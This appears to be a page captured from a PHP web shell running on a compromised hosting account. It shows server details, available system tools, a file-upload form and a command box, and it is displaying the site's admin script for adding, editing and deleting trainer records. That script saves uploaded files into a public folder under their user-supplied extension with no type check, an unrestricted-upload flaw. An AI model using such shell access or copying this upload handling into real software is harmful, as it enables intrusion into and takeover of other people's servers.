Private
Server IP : 192.124.249.33  /  Your IP : 66.248.200.33
Web Server : Apache
System : Linux 141.134.66.148.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els6.x86_64 #1 SMP Fri Sep 13 13:42:20 UTC 2024 x86_64
User : tarangglobal ( 1001)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tarangglobal/public_html/cyber/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/tarangglobal/public_html/cyber/admin/trainer_master_act.php
<?php
	require_once('pdoconfig.php');

    $catid=$_REQUEST['catid'];
	$act=$_REQUEST['act'];
	
    
    $name=$_REQUEST['name'];
    $desig=$_REQUEST['desig'];
    $detail_wppage_link=$_REQUEST['detail_wppage_link'];
    $fb_link=$_REQUEST['fb_link'];
    $gplus_link=$_REQUEST['gplus_link'];
    $twitter_link=$_REQUEST['twitter_link'];
    $insta_link=$_REQUEST['insta_link'];
	$uploadresume=$_FILES["file"]["name"];
	
	 $mentor_id=$_REQUEST['mentor_id'];
	 $trainer_id=$_REQUEST['trainer_id'];
	 $admins_id=$_REQUEST['admins_id'];
	 $alumni_id=$_REQUEST['alumni_id'];
	 
	 $tracat_id = $mentor_id.",".$trainer_id.",".$admins_id.",".$alumni_id;
	 
    $tracat_id=str_replace(",,,",",",$tracat_id);
	if (substr($tracat_id,0,1)==",")
	    $tracat_id=substr($tracat_id,1,strlen($tracat_id)-1);
	if (substr($tracat_id,strlen($tracat_id)-1,1)==",")
	    $tracat_id=substr($tracat_id,0,strlen($tracat_id)-1);
	 

	 
//die($act);
//if($active=='on'){ $aa1=1;}else{ $aa1=0;}
/*
if($category=='' || strlen($category)>50)
{
   die("Something went wrong! <br> <a href='category_master.php'>Continue</a>");   
}
*/

       if($act == "add")
		{
	
			$sql="insert into aa_trainer_matsre set category_id=?,name=?,desig=?,detail_wppage_link=?,fb_link=?,gplus_link=?,twitter_link=?,insta_link=?"; 
			$arr=array($tracat_id,$name,$desig,$detail_wppage_link,$fb_link,$gplus_link,$twitter_link,$insta_link);
			$res=$action->insertp($sql,$arr);
	        $prod_id=$res;
	           
	            if($res>0)
	            {
	                /***************Image1************************************/
               		//if($uploadresume!='')
                    {
        		        $file_tmp =$_FILES['file']['tmp_name'];	   
        	            $pos=strpos($uploadresume,".");     
        	            if($uploadresume=="")
        				{
        				    $new_file_name="";
        				}
        				else
        				{
            				$new_file_name="Team".'-'.$prod_id.substr($uploadresume, $pos,strlen($uploadresume)-$pos);
        				}
    				    move_uploaded_file($file_tmp,"upload/team_image/".$new_file_name);
        				//echo $new_file_name;
        				$qry="update aa_trainer_matsre set image=? where trainer_id=?";
        				$arr=array($new_file_name,$prod_id);
        		        $action->updatep($qry,$arr);
    			    }
	            ?>
			    <script>
			        alert("Data Save successfully");
			        window.location.href="trainer_master.php";				    
			    </script>
			    <?php
		    }
	    }
	    else if($act == "edit")
		{
			$sql="update aa_trainer_matsre set category_id=?,name=?,desig=?,detail_wppage_link=?,fb_link=?,gplus_link=?,twitter_link=?,insta_link=? where trainer_id=?"; 
			$arr=array($tracat_id,$name,$desig,$detail_wppage_link,$fb_link,$gplus_link,$twitter_link,$insta_link,$catid);			
			$res=$action->updatep($sql,$arr);				
          
            
	            if($res>0)
	            {
	                	 
    	            if($uploadresume!='')
    	            {
    	               //die($uploadresume);
        		        $file_tmp =$_FILES['file']['tmp_name'];	   
    	                $pos=strpos($uploadresume,".");     
        	            if($uploadresume=="")
        				{
        				    $new_file_name="";
        				}
        				else
        				{
            				$new_file_name="Team".'-'.$catid.substr($uploadresume, $pos,strlen($uploadresume)-$pos);
        				}
        				    move_uploaded_file($file_tmp,"upload/team_image/".$new_file_name);
        				    $qry="update aa_trainer_matsre set image=? where trainer_id=?";
        				    $arr=array($new_file_name,$catid);
        		            $action->updatep($qry,$arr);
    			    }
	            ?>
			    <script>
			        alert("Data update successfully");
			        window.location.href="trainer_master.php";				    
			    </script>
			    <?php
		    }			
	    }
	    
	    else if($act == "del")
		{
			$sql="delete from aa_trainer_matsre where trainer_id=?"; 
			$arr=array($catid);
			
			$res=$action->deletep($sql,$arr);
				

	            if($res)
	            {
	            ?>
			    <script>
			        alert("Data delete successfully");
			        window.location.href="trainer_master.php";				    
			    </script>
			    <?php
		        }			
	    }
	    
		
?>
Private